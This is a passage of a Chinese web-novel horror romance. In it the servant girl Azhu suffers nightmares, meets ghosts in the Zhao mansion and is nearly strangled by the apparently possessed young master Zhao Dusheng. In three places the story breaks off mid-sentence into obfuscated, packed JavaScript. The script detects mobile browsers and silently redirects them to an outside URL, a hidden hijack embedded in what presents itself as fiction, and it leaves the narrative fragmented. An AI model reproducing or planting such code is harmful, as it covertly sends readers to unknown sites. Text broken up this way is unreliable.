阿朱想出声阻拦,可女人和孩子好像都没有注意到她似的。女人一下一下,都是下了死手,阿朱想都不用想,这孩子身上一会儿就会全是淤青红瘢。 “给我张嘴!” 女人脱手甩开筷子,孩子终于张开嘴巴。女人见状立刻抬起面前的饭碗,拿勺子挖了什么喂进孩子的嘴里。 两人背对着阿朱,阿朱自然没瞧见是什么东西。直到小孩儿歪了身子,一口吐了出去,阿朱才发现那碗里乘着的是泥沙。 小孩儿放声呜呜痛哭起来。“娘,我不想吃呜呜呜呜呜呜……”他万般恳求抬头蓦然对上阿朱的目光,一双水秀灵透的凤眼投去期冀的柔弱的眼神。 阿朱逐渐变得茫然,这孩子的眼睛阿朱总觉得在哪里见过。 “这是泥!” 女人立刻癫狂起来,抓住小孩儿的肩膀将小孩儿一把摔扔在地上。“给你吃你不吃,就这么想死!你要死也不早点死,你怎么不干脆死在我肚子里,偏偏还要让我受罪把你生出来再寻死!” 小孩儿被女人一个巴掌接着一个巴掌打得连连后退。阿朱气得浑身发抖,怎么可以这样打他。她脑子一热,一下扔了灯笼,冲到女人面前,甩开她的手。 “你不许打他。” 阿朱将小孩儿扶起来,孤勇上头的热乎劲很快退下去,她没什么底气地同女人争辩起来。 “他还……还小,你有事该好好说的。”那孩子自然地躲在阿朱背后,双手紧紧揪住她的袖口,小声抽泣呜咽。 “你是什么东西,我管他轮得到你插手,你是不是看我可怜也想来踩我一脚是不是!!” 阿朱哑口无言想要解释,可女人眼珠子呆滞,转身将小木桌全部掀翻,她不断地哭嚎,扯动头发,嘴里不断叫嚣着都去死都去死。 阿朱往后退了一步,小孩儿钻到阿朱的怀里,寻找到怀抱紧紧抱住阿朱。 “不怕,不怕,”阿朱伸手轻拍孩子的后背,将他一团糟的脸抬起来,用袖子一点点将泥土擦干净,露出原本清秀干净的脸。 小孩儿看向阿朱的眼神可伶极了,就好像从来没人对他这么好过。阿朱看得心里发软,一个劲地给他整理衣服,丝毫没注意身后逐渐逼近的女人。 “一个孽种,你发癫要护着?!”身后女人的声音忽地阴沉沉响起,阿朱将孩子抱在怀里。一转身,被女人青黑的脸吓得叫了一声。 女人眼里里逐渐蔓延出红血丝,眼眶红得能滴出血,脸颊皮肤呈现乌黑。她看向阿朱,忽然伸手扯自己的头发。 头发扯断的声音噼里啪啦地响起,一头乌黑亮丽的头发很快被扯成杂草。她拔不断就使劲拉扯,双手疯了似的抓拔,地上的头发逐渐落了满地。 发根连着头皮吧嗒掉在地上染红地面,被扯破的头皮留下血液,顺着额头两颊淌下来,女人满脸的红。 阿朱抱着孩子往后退,脚步放得很轻,可女人突然转头,看向阿朱,尖利地大喊一声:“把他还给我!” 女人冲了过来,阿朱一个转身,踉跄几步急匆匆地往外跑,等跑到院子外,阿朱发现这院子和赵府一模一样。 她左转右拐,对怀里的孩子说:“没事的,我们会没事的,别害怕。” 阿朱跑到祠堂,可原来的祠堂只是间正常的小院子。阿朱躲在廊桥下,拼命喘了几口气。悄悄往外一瞅,没有人,看来女人被她远远地甩在身后。 “那是你娘亲吗?”她轻声问道。 怀里没有声音回应,阿朱摸到一手的粘稠的质感,有什么东西在她的掌心蠕动。 阿朱嗓子眼像被石头堵住了,艰难地咽了口口水后,阿朱看向怀里的人。 破旧的衣服里,没有人,是一堆密密麻麻的白蛆。它们跳到阿朱手背、衣服和腿上。 阿朱浑身僵硬,脸颊处的汗毛瞬间竖了起来,仿佛千万蛆虫钻进自己的衣领。她嗓子里发不出声音,整个人僵涩几瞬后,猛地将怀里的东西抛开,跪在地上呕吐起来。 “啊啊啊啊啊啊——” “你做什么呢?!当心伤口裂开了!” 阿朱在床上乱踢,赵渡生摁住她的身体。阿朱整个人陷进噩梦,意识变得混沌模糊,双手无意识地在空中乱抓。 赵渡生皱起眉头,看着阿朱眼皮下不断乱转的眼珠,俯身在阿朱耳垂用劲掐了一下。阿朱很快止住尖叫声,骤然睁开双眼,弹坐起来。 她张开嘴巴,大口大口地呼吸着,眼神不甚清明的望向赵渡生,随即回过神来,忽然又跳了起来,在自己身上乱摸,将衣服胡乱脱下来。 “虫子!有虫子!有虫!” “什么虫?”赵渡生看着阿朱发疯,脸色难看到极点,再也忍受不了似的,将阿朱扯过来,紧紧扣住她乱挠的手指。 “你做噩梦了,没有什么虫。”阿朱被锁住四肢,逐渐动弹不得。 “做梦?我在做梦吗?” 赵渡生难得好脾气,“嗯,做梦了,我刚刚掐了你的耳垂,痛不痛,痛了就是醒过来了。” 阿朱眼神发直,这才发觉耳垂隐隐的痛,她眨也不眨地朝四周扫视了一圈。这里是赵渡生的房间。她想起来自己似乎是晕了过去。 “真的是梦吗?” “当然了,”赵渡生握住阿朱的肩膀,与她面对面,“难不成我是鬼吗?” 阿朱听见后居然开始认真打量起来赵渡生,眼神闪烁着几分怀疑,看得赵渡生心底升起一股火气。 好啊,真觉得他是鬼是吧。 “教你一个看自己是不是做梦的办法。” 阿朱洗耳恭听。 赵渡生将阿朱重新放到床上,伸手将大拇指和食指圈起来,停在阿朱的额头。 “这是什么办法?” “一个很管用的办法。”赵渡生恶劣地笑了笑,阿朱还没将视线从他脸上移开,额头忽然“嘣”的一声被赵渡生打了下。 “嗷——” 阿朱痛的嘴里嚎了一声,她飞快往后挪了挪屁股,捂住自己的额头。 “做什么,跳这么高。又有力气了?” 阿朱揉搓着额头,自己的手腕上被缠了厚厚的一圈白布,白布下透着隐隐约约的血色。 “骗子。” 阿朱捂着手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635202|172653||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腕,坐下来蜷缩成可伶巴巴的一团,将脸闷在手臂里。 “谁是骗子,”赵渡生脸皮厚极,坦然自若地抚了抚自己的袖子,“这世道骗子是多,阿朱有这种想法我很欣慰。” 他随手拿过罐子,打开盖子,里面满满的都是糖,“你想吃哪一个?”随手一晃,包了纸的糖在罐子里哗哗哗地发出清脆声响。 赵渡生笑眯眯的,一双无辜单纯的圆眼看向阿朱,对阿朱手腕上的伤没有丝毫愧疚。阿朱叹了口气,不敢再继续给他脸色,从罐子掏了颗糖塞进嘴里。 “啧,这才对嘛。”赵渡生高兴地将罐子往木几上一撂,戳了戳阿朱鼓起的脸颊。 “这罐糖带上,回去慢慢吃,算作补偿。”他没有商量地同阿朱说了嘴,“我从前院叫了个丫鬟照顾你,叫什么?嘶……啊!贞红,她去你那儿照顾你几天,你这几天就不用干活了。” 赵渡生喜滋滋地敲着扇子,没问阿朱意见,阿朱只得抱住罐子,低声呢喃应了句“哦”。 “你不要生我的气,我也是没有办法嘛。”赵渡生音调平缓温柔,眼尾挂上了点可伶,轻轻叹了口气,是带着无奈的喟叹。 他伸手揉了几下阿朱的耳垂,眼神专注平和,“我会常常去看你的。” 啊?!那还是不要来的好,阿朱默不作声地心想。 赵渡生脸上那股可伶劲来得快去得也快,他说找了个人来照顾阿朱,小院还真来了个人,只是阿朱怎么看都觉得贞红不是自愿的。 早起扫地总是能弄出比放鞭炮还要醒的动静,尽管阿朱提醒过,贞红刚来倒不朝阿朱耍脾气说重话,也是知错认错,翻了个白眼后继续弄出声响。 阿朱被她搞怕了,于是就和她说自己的伤养得差不多了,每日的打扫自己会做。然后,阿朱每日只能见到贞红两回。一次早起开门,一次睡觉关门。 手腕上的伤痕已经结疤,周围新长出粉嫩的肉。阿朱怕痒,有时深更半夜会忍不住抠几下,好在有纱布隔开,没怎么碰到伤口。 林管事特地提点阿朱可去领些涂抹的药膏,阿朱原本是不想去的,可实在耐不住自己的新皮新肉痒。 夜里昏暗,石板路上只挂着零星几盏灯笼,阿朱经过后院时又注意到了那口井,井口极窄,阿朱从前比了比只容得下自己肩膀宽的水桶。 一口井而已,在赵府其他人的眼里实在没什么稀奇,生得杂草丛生,井口遍布滑腻的青苔和堆积起来的泥土。 可阿朱不一样,她看见了人,井边总是站着个女孩儿。 阿朱心底发颤,手里捏着灯笼,后背僵直地往前走。女孩的视线或许追随着自己。 她一时更觉得阴嗖嗖的凉气朝着后背袭来。她路过这条小路时只要看到女孩,便会屏息凝神,若无其事地走过去,这次也不例外。 “姐姐。” 背后近乎叹息的声音轻轻响起。女孩眼睛发灰,穿着灰扑扑的直缀,袖口长出很多。 “姐姐,你等等我嘛。” 阿朱紧闭上眼睛,手里捏着的杆子开始颤抖起来。她依旧没停下步子。“没事的阿朱,走过去就好了,不要理她。” 阿朱从来不觉得自己是招鬼的体质,可这小鬼一天天不是在她的衣柜里装神弄鬼,就是躲在她必经的路上眼巴巴瞅着自己。 “姐姐,你为什么不理我?”那声音乍响在阿朱耳旁,不放弃地继续喊了一声。阿朱感觉到一股阴气在吹着自己的耳朵,在心底狂喊佛祖保佑。 “这小鬼怎么总缠着我啊,一会儿在衣柜一会儿站在我要走的路边。” 8. 哪儿来的 “大胆往前走,小鬼而已,嫌弃阴曹地府无聊出来转转,你自己平时不也爱乱转。阿弥陀佛……福生无量天尊……” 阿朱头皮阵阵发毛,两脚飞快,生怕身后的东西真的贴上她的脚后跟。边疾走心里还不断地安慰自己,劝自己淡定莫慌神,骗自己认为小鬼绝对没有害人的心思。 “我就假装看不见,她不会拿我怎么样的。” 身体总是比那些说出的未说出的想法更加诚实。临近院子的几步阿朱撒开腿大跨步冲上去,待一步跨过门槛就猛地回头看向身后,确定那东西没有跟上自己。 确定身后没有垂着长发的女鬼,阿朱放开抱在胸前的手,嗒嗒嗒地跑起来。声音急得贞红在房间里都听见了出声骂: “跑什么跑,赶着投胎吗?吵死了!” “我去拿东西呢……好了好了,你别生气了。”阿朱踮起脚,轻轻走到贞红门前,伸手敲了敲,“贞红,你这么早就睡了吗?” 屋内半天没传来声音,阿朱皱了皱眉头,圆眼流出几分疑惑,犹豫会儿脑袋就凑到门前将耳朵紧紧贴着,只是她还没来得及听到什么。 "砰”的一大声,木门重重传来被重物砸中后落地后又落地的声音。 “离我远点!别来烦我。” 阿朱缩回脖子骇了一跳,摸了几下胸口抚顺自己差点没吸上来的半口气。“贞红的脾气也忒臭了点。” 她在心里悄悄地怼,转而又想起贞红是从前院来的,便理解贞红。贞红生得冰雪可爱又和自己年纪差不多大,分明正是贪玩的时候,却被赵渡生使到这么个地方,偏得要命,连吃的都得每天悄悄跑出去偷着吃。 她刚来的时候还有点新鲜感,只是那股新鲜劲儿一过,她就意识到这不是个“好地方”。阿朱又是个顶顶无聊的人,凡是时兴的事物,阿朱从来答不上话,像个打一棒也出不了气的苦瓜。 眼瞅贞红娇气地嫌弃这个嫌弃那个,眼泪吧嗒吧嗒直流,阿朱在她旁边一番好言相劝,索性都不让她干活。想到这里阿朱便觉得她或许不是讨厌自己,而是不想待在这个地方。 此时夜色已深,阿朱有些累,但她还得去点灯。林管事每次见着她都会问她祠堂如何,阿朱是个胆子小的,不敢像李申那般偷懒耍滑,每日任劳任怨地焚香、点灯、擦地…… 想起李申,阿朱心底后怕,她想问问林管事李申去哪儿了,可其他人好似就当从来没有这个人一样,阿朱不敢多嘴,只得将小院的活全都包了下来。 每日虽需定时定点地干活,事物繁杂,但总归不算什么太费力气的重活。可阿朱越来越觉得身子疲乏,有时早上都会起晚,头晕乎乎的,得坐在床上好半天才能缓过来。 做活的时候更是总会走神,一动不动地站在原地。她只当自己是神经紧绷,被那场活祭吓破了胆子。因此,夜里惊梦太多,睡不熟,第二日才会这样没精神头。 油灯亮了一盏又一盏,屋内窗小避光,即使是夏天也总是阴冷,有了火光倒显得暖和几分。火光映在阿朱脸上,她神情专注,点灯地时候极为小心,生怕将灯油滴在了外面,弄脏桌面冒犯了小神仙。 屋内越是被阿朱擦得一尘不染,阿朱心底就愈发愉悦起来。她也不管这祭拜的是何方神仙,嘴里叨叨一个劲儿得求人家护佑自己,每天早上焚香都要拜三拜,嘴里念:“我什么都愿意做呢,保佑我身体健康吧,小神仙。” 鬼,阿朱看得不少,来取人性命的恶鬼也不是没遇见过。要说神仙阿朱没那么信,只是看到就拜拜总是没有坏处的。万一自己许下的愿望就成真了,再说了这木龛里箱子好像真的是赵府极重视的神像之类的。 放下最后一盏灯,阿朱又从怀里掏出几颗糖,顺手放在黑箱下面。她在想每天放下的糖第二天都会消失,到底是老鼠还是小神仙。要是老鼠,赵府的老鼠还挺爱吃糖,偷的真及时,阿朱都没能逮到它们。 不过就算逮到它们,阿朱也不会拿它们这么样,这小院有几个活物能陪着她也挺好,免得她一个人睡觉怕这个怕那个。况且老鼠吃的少,从来都只在暗处,不会耀武扬威地跳到阿朱的被窝里。 因为贞红在小院的缘故,阿朱又悄悄将自己的床褥抱了回去。她睡前总是喜欢盯着门看,就怕门外什么时候又出现了个生满烂肉的男人。 今夜有些奇怪,阿朱没来得及点灯的屋子就亮堂堂的。她无声地站在门口,接着,慢慢探头进去望了眼。 一眼能看干净的屋里,百无聊赖的赵渡生大摇大摆地躺在阿朱的床上,翘着二郎腿,握着扇子悠哉悠哉地给自己扇风。 阿朱愣了片刻,还未收起惊吓的目光,赵渡生眼神一瞥就看见了门口贼头贼脑的阿朱。阿朱还没来得及收回自己的脑袋,那头赵渡生开口道: “傻站着做什么还不快过来。” 他翻身盘腿坐起在床榻上,眼眸沉沉地阴下来,阿朱没由来的打了个寒颤,神色不变不停留地往前。 “你这什么破地方!” 赵渡生娇贵,在狭小逼仄的房间里显得人高马大。 “少爷在这里做什么?” “怎么?!我还不能来了?”赵渡生反应很大地看向阿朱,没什么仪态地一下从床榻上搓了下来,射向阿朱的眼神带着点怒火,阿朱立刻就闭上了嘴巴。 真是的,就不该多说话。阿朱有点嫌弃自己不招人喜欢的笨脑袋。 “你以为我很稀罕这破地方!很稀罕看你吗?我才不会来你这里,你以为我很想来,每天和个冬瓜一样杵在角落,一脚踢过去,连滚都不会滚……” 阿朱默默低着头受着赵渡生的蛮横训斥。她困极了,赵渡生噼里啪啦一通说的话她绝对没听进去多少,只是为了小少爷的脸面,阿朱更得老实挨着。 “我发现了你看着老实,实际上一点儿不老实……” 赵渡生说话声音在一个调子上,这对于阿朱来说和催眠咒没什么区别,她眼睛眨得缓慢,尽管努力地打起精神,耳朵仍旧像蒙了一层猪油,根本听不清赵渡生在说什么。 赵渡生是多聪明的人。 “你!倪缺根筋的,你是不是根本没在听我的话!?” 他指着阿朱,眼尾露出点嫣红,盖过了眼下莫名多出的青黑,显得本就漂亮的脸蛋更加楚楚可人,就好像是阿朱对不起他一样,眼眶马上要涌出点眼泪。当然,他赵渡生才不会哭,他只会让别人哭。 阿朱终于知道为什么皇帝会让赵渡生回家反省了。 赵渡生喘着气,呼吸不过来似的,抚着胸口。见阿朱不说话,骂没了力气,鼻子里哼了一声,偏头像只孔雀似的高傲地抬着头。 小祖宗没了声音,阿朱悄悄看过去,只见他一脸幽怨,斜眼狠狠瞪了一下阿朱后,将自己身上的衣服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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赵渡生睡熟后睡相倒是极好,双手双腿规规矩矩放好,黑夜里,皮肤白皙得如同乳酪。他睡在里侧,外面留了很大一块空处,甚至于阿朱的枕头也被放在旁边,而他自己只用了衣服垫着脑袋。 阿朱觉得奇怪,可困意打败惧意,眼睛将闭未闭,理了理枕头就要睡下去,丝毫没注意赵渡生在夜里缓缓睁开的眼睛。 再次贴到舒适的床褥,阿朱满意得就要躺下去,心想着自己终于能睡会儿,不料却在赵渡生挪动郭的枕头旁边看见了自己一直放在枕头底下的黑羽。 她小心翼翼着动作将羽毛顺了过来,这东西在夜里还闪着丝丝令人惊异的光亮。 黑羽在手里转了转,阿朱躺了下来,捏着羽茎盯着看了几瞬就准备重新塞回枕头底下。 一偏头,赵渡生神不知鬼不觉撑着脑袋看向她。阿朱手僵住没敢动,连声解释道:"我不小心才上来的,我马上下去。"她害怕赵渡生因为自己擅自睡回床上的事情发作,犹豫片刻后,视死如归地把自己的屁股往外移。 可赵渡生着了魔似的,漆黑的视线牢牢落在阿朱手上的黑羽上。 ”哪来的。“问话的声音冷冽,不带一丝情感的起伏。 “什么?”阿朱疑惑。 赵渡生没应她,起身逼近阿朱。 9. 烧了它 “我说……这东西你哪来的?” 赵府忌讳鸟,但凡有不长眼的鸟禽飞来,也都被下人捉了杀了,禽和兽是万万不能飞到主人面前的。在赵渡生记事起他没在家里看过鸟,更不用说鸟毛。 他小时候不懂事,在学堂捉了一只将将长满羽翼的灰雀带回家,兴高采烈带到赵老爷面前去,不料对方大发雷霆,当天晚上在赵渡生身上足足打断了两根戒尺。赵渡生痛极,一边求饶喊爹,一边朝着面色冷淡的宋夫人求情。那只小灰雀被下人用脚一把踩死,死时羽毛凌乱,喙部流出点鲜红的血。从此以后,赵渡生也不敢再往家里带些乱七八糟的活物,也看不得鸟。 阿朱试图答话,看着状态逐渐诡异的赵渡生,嘴唇颤抖嗫喏着说不出个所以然。她实在不擅长处理赵渡生这样脾气变换多端的人。 “”捡……捡来的……” “哧…捡来的。” 赵渡生看着阿朱脸颊苍白地缩在床上,哼笑一声。脸上笑意不达眼底,他虚虚地望着阿朱手里逐渐攥紧的羽毛。眼里一阵阵的发昏,心口鼓胀起剧痛。 畜牲一样的脏东西。 疼痛很快演变成怒火和麻木逼迫赵渡生不断吐气,调整呼吸。他胸口剧烈起伏着,死死盯住黑得发亮的羽毛,脑海中闪过一个声音,那声音不断告诉自己: “烧了它。” “好阿朱,把手里的羽毛给我,这不是好东西。” 阿朱咽了咽口水,她有些害怕赵渡生这副模样。他身体不断在抖动,嘴里似乎不断地在呢喃什么东西,这毕竟是她捡来的她可以将羽毛藏好不让人看见。 阿朱张开嘴想开口询问赵渡生,却见赵渡生忽地抬起头,两只眼睛黑洞洞的望着她。 瞬间,赵渡生飞速从眼前移过来,大手握住阿朱的手腕猛地抬起。 “啊——” 阿朱发出一声短促的惊呼,脸颊变得苍白,还没反应过来,手中的东西就被赵渡生一把抽出去。 “你…你回来做什么?又要和我抢!?” 赵渡生半疯半痴地盯着阿朱,视线不时落在她手里的有一个手掌长的羽毛。赵渡生毫不客气地抢过来,双手放在两端试图扯断,黑羽却异常柔韧,任凭如何掰扯都会恢复原状,颜色甚至一次比一次更亮。 他这是在做什么,阿朱不禁冷汗,庆幸自己没和赵渡生争抢那羽毛,又觉得赵渡生待在府里脾气一天比一天差。 随着羽毛一次次恢复原样,赵渡生如临祸水般逐渐陷入某种崩溃的状态,烛火明亮的光线映在他额头布满的豆大汗珠上,他往旁边一瞥望见了蜡烛。 随即,猛地扑过去,将烛盏打翻,融化的灯油泼在桌面上,黑羽被放在燃烧的烛芯上烤。 “嗞”的一声,点燃的羽毛冒出一缕黑烟,很快烧得只剩骨架,漆黑得缩成一团。直至在赵渡生手中烧成一团灰。 屋里静寂无声,阿朱往后退了一步,大小不适合的鞋子摩擦出声音。赵渡生慢慢回过头,浸了水的眼眸望着阿朱,如同洁白冰面被凿穿的一角。 好难受。 青筋在额角不断地跳动,赵渡神眼神飘忽,没由来地冲阿朱阴鸷地笑了一下。阿朱后背发冷。 ‘去,抓住她。’ 赵渡生眼睛里遽然燃起两团黑火,连身子都控制不好摇摇晃晃就朝着阿朱冲过去。 阿朱站在原地,眼见赵渡生对着一根羽毛发作完就要朝自己发作,莫名想起从前牛贵哄恶鬼的场面。或许是出于求生自保的本能,阿朱快速出声道: “你饿不饿!” 赵渡生一愣,露出孩童般的幼稚与无辜。 “你是不是饿了,我给你拿点吃的好不好。” 阿朱观察赵渡生神色,温言软语,见赵渡生止住脚步,硬着头皮慢慢磨过去。她对上赵渡生一副要吃了自己的模样,一个答案在心头愈发明晰。 她伸手握住赵渡生,将他带到床前,让赵渡生坐下。 “你乖乖坐着。” 赵渡生神色委顿,竟真的规规矩矩坐在床边,眼巴巴望着阿朱。阿朱朝哪走,他的眼珠子就朝哪里转。 阿朱毫无头绪,她只知道赵渡生恶鬼上身,方才说出的话也不过就是用来转移恶鬼注意力。 吃的,她这里哪里有吃的,要是找不到吃的,恶鬼发作起来,指不定要杀了赵渡生再杀了他。 糖! 阿朱灵光乍现,想起来了自己放起来的糖罐。她匆忙从柜子最底层翻出糖罐,她打开糖罐,小跑到赵渡生身边。 “吃糖好不好。”说罢,从罐子里掏出了糖,剥开油纸,喂到赵渡生嘴边。 “糖?”赵渡生机械地发出声音,就好像已经很久没有说过话。 “对,吃糖,我们吃点糖好不好?” 阿朱缓缓眨了几下眼睛,“你…你别生气,我…我们年纪小,吃了这糖你就走吧。” 阿朱自顾自地说,赵渡生定定看着阿朱,眼神逐渐柔软朦胧起来。就在他缓缓抬手之际,阿朱眼神瞬间亮了起来,心想自己的方法真的奏效,就在她以为赵渡生会接过糖时,赵渡生的手却伸向了自己的脖颈。 他手冰凉,紧紧贴住阿朱的脖颈,跟着,收紧。 阿朱逐渐呼吸不过来,胸肺的空气逐渐稀薄,她伸出手握住赵渡生掐着自己脖颈的玉手,另一只手死死拿着糖罐不肯撒手,指尖用力到褪去血色颤抖。 眼前的场景和赵渡生逐渐变得模糊,阿朱能感受到肺快要炸掉,因为呼吸不过来,她本能地开始伸手去周围的东西,去挣扎。 脸因为充血变得涨红,她在心里想我会死吗? 可赵渡生丝毫没有松手的意思,阿朱突然想起自己没舍得花掉的金叶子,既然舍不得那就只能留到黄泉路上花了。 想到此,阿朱松了手,布满红血丝的眼眶榨出一滴被刺激出的泪水,从眼尾滑落,吧嗒在赵渡生的手背碎开。 谁料赵渡生突然松手,压在阿朱脖颈上的力道猛地消失。 “啊…哈……咳咳咳……咳……咳咳……” 阿朱倒吸一口气,猛烈地咳嗽起来,捂住脖子不断大口呼吸着来之不易的空气。过了很久,阿朱平稳住呼吸,跳出胸膛的心终于安稳跳动起来,正当她轻呼一口气。 赵渡生不期然恢复清明,眼前两人过近的距离明显让他觉得意外。他牙齿磨得咯咯轻响,阿朱顿了几瞬,却见他突然发难,双闭使了力气,一把将阿朱拽到身前,阿朱只得踮起脚尖,直面赵渡生怒气冲天的脸。 “你在干什么!” 这话应该阿朱问才对,可他瞅了眼赵渡生的神色,眼神怯怯。“你……你……鬼……” 要是她说你刚刚鬼上身了,阿朱毫不怀疑赵渡生立刻就会将她火化了。 "没什么呀。" 赵渡生森森地用舌头顶了顶口腔内壁,没什么,没什么才见鬼了。他分明记得不是这个场景,中间发生了什么任凭他怎么想都想不起来。 一定就是阿朱在搞鬼。他上下扫视了几眼,他明明差点把她掐死的,可阿朱却露出怜悯的眼神。 “你骗小孩儿呢,刚刚还不是这幅样子,现在怎么连鞋子都穿错了。你是不是背着我在搞些什么东西。还有,三更半夜你不睡觉,在屋子抱着个罐子做什么!乞讨吗!?” 阿朱低头望了眼自己脚,原来自己穿的居然是赵渡生的,阿朱不好意思地脸红。 “真的没什么,我想吃糖了,就爬起来拿糖罐。穿错鞋,是因……因为夜里黑,我看不太清。”阿朱声音里透着温柔。 “糖罐?” “嗯,你给我的,我没舍不得吃就都放起来了。”赵渡生面露狐疑。“几颗糖而已,你还怕我少你的,瞧你那扣扣搜搜的模样。” “我也吃的,没有全存起来。” 话音未落,赵渡生就从阿朱手里抢过糖罐。糖在罐子里晃荡出声音,没剩多少。 “你都吃了这么多了?” 阿朱“啊”了一声,当然不是她一个人吃的,可她才不敢和赵渡生说自己拿糖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635204|172653||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喂小鬼。 “吃这么多,当心牙齿全烂完!” “不会的不会的,烂不了。” “你说不烂就不烂,让我看看。” 不等阿朱反应,赵渡生一把将阿朱拉到身前,扣住阿朱的下巴往上抬。 “张嘴。”赵渡生毫不客气地开口命令道。 阿朱龇牙咧嘴地露出自己的牙齿。 “啊——” 赵渡生真的开始认真看起来,一颗颗数过阿朱的牙齿。“你不准吃那么多糖,要是牙齿烂了,陈妈第一个把你从赵府扔出去。” 阿朱由在傻乎乎张着嘴。 “你听见没有?”赵渡是炮仗,炸得快,熄火也熄得快,生的气老早消到九霄云外去了,他晃了晃阿朱的下巴,阿朱才慢慢答道:“知道啦。” “总而言之,你听我的话,我保你在赵府好好活下来。”赵渡生拿过阿朱手里地糖罐,自然而然地从里面掏出颗糖,喂进自己嘴里。 他皱起眉头,颇有些嫌弃地将糖罐重新塞回阿朱手里。“嗯,太甜了。” 阿朱可不觉得甜,她觉得刚刚好。 赵渡生瞧了眼阿朱,就知道这小丫头指不定又在心里想什么,他把阿朱的身体板正,烛火斜斜照着他半张脸,眼眸涌上点点柔和的光亮。 “今天晚上的事不准和任何人说,不然我可保不住你的小命。” 阿朱愣了下,随即忙不迭点头,“我什么也不知道,什么也没看见。” 赵渡生伸手拨弄了几下阿朱额头的发丝,扑哧笑了出来,淡淡地道:“记不住最好。” 他长叹一口气,拍拍袖口接着说:"你这地方实在待不下去,我要走了。" “为什么不在我的床上睡了?”阿朱歪了歪脑袋,眼神疑惑。 赵渡生顿住,狗急跳墙地几下从床上搓了下来。他指着阿朱鼻子,耳垂不自然地透出粉色。 “你!你脸皮怎么这么厚!小姑娘一个脑子里装的都是什么东西!你是不是喜欢我。我知道府里很多丫……” “没有没有!我不是那个意思!”阿朱瞪大了眼睛,火速打断赵渡生。她不知道赵渡生为何会这样想,只能连连招手,发誓她绝对不会有那种意思。 阿朱怎么会脸皮厚,她被赵渡生三言两语弄红了脸,她哪敢啊。 “你真不敢?”赵渡生怀疑地问。 “我真的不敢。” 阿朱怂包地回答赵渡生,窝囊得赵渡生看了来气,他鼻子哼了一声,“我也不是不讲道理,皎皎君子夺人眼球,这种事控制不住很正常,懒得和你掰扯。” …… 哪里是我和你掰扯,阿朱心里碎碎念。 赵渡生衣冠不整,浪荡子似的去开门,他神色深色冷漠,淡淡抛下一句,“早点睡。” “好,我等会儿就睡。” 赵渡生慢悠悠晃了出去,门砰的一声关上,小院彻底安静下来。阿朱长舒一口气,脊背都塌了下来,心想终于把这祖宗送走了。 片刻后,阿朱屁股贴上床,门“砰”的一声被打开,赵渡生站在门口,阿朱站得笔直。 赵渡生神色晦暗,“晚上不准吃糖。” “哦……哦……”阿朱乖巧点头。 门吱呀一声重新被合上。 阿朱这回站了很久,确定赵渡生真的走了,浑身力气没了一般坐在床上。 “累死我了。” 阿朱垂头丧气,视线移动间望见自己脚上仍然穿着赵渡生的鞋子,她怔愣片刻。鞋子比阿朱的脚大很多,阿朱非常轻松地让自己的脚从赵渡生的鞋里退了出来。 她安慰自己肯定是赵渡生忘了,看着赵渡生的鞋子,阿朱动动圆润的五根脚趾,轻轻踹了一脚赵渡生的鞋。 “让你欺负我。” 鞋子倒在地上,阿朱看着看着,心底陡然升起一抹怪异的感觉,她不理解也不明白,索性一下将赵渡生的鞋子踹进床下。 “睡了睡了。” 她才不要赵渡生的鞋。 10. 纸钱引路 黑箱旁的糖果没动,阿朱疑惑地拧起眉毛,踮脚听了会儿后,将糖果一把抓进掌心里。 “怎的不吃了……给你的你又不喜欢吗?”她心生疑惑,看着掌心的糖,随手拆了个塞进嘴里。 “明明很好吃啊。”阿朱眨巴眼睛看了眼。 接连三日,阿朱供上去的糖都没被动过,供桌上的鲜果她倒是依旧每日更换。她想了又想,总是没想出个头绪。她只当是小神仙近几日出门游历去了,才一时半会儿顾不上她的糖。也是,就算是让她自己天天吃,阿朱也不会再喜欢了。 “我下次给你带别的味道。” 阿朱清早就清扫干净灰尘,一点不马虎地将地面水渍抹了个遍。她抬头,黑箱子通体乌黑,颜色随着时间沉得浓郁,阿朱突兀地想起那根被赵渡生烧了的羽毛,那羽毛也是这样漂亮的颜色。 赵渡生随心所欲发了一通脾气,阿朱不太精明又小心翼翼地打探了赵府其他下人的口风,原来赵府真的不许养鸟,怪不得陈妈也好,赵渡生也好,都看不得一丁点。 可阿朱喜欢鸟,她从前摔了病了躺在冰冷冷的地上的时候,只能透过破烂漏风的屋檐和窗户看看外面的天。小鸟总是能自由自在地飞来飞去,不像她,不是只能待在这里就是待在那里。 鬼知道四下无人时鸟大着胆子飞到窗户边,而阿朱死人一样躺在地上,她内心到底有多羡慕。 不过,既然入了赵府就要守赵府的规矩,她以后可再不敢让什么小鸟啊羽毛啊落进赵渡生眼里。 阿朱动作麻利,收拾好后,她还得去给井边的女鬼烧点纸点。从前听牛鬼说过,纸钱可给死人开路到阴曹地府。人都死了,继续在凡间游荡总是不好,万一再给碰着个除邪的大师,这小鬼就彻底没活路了。 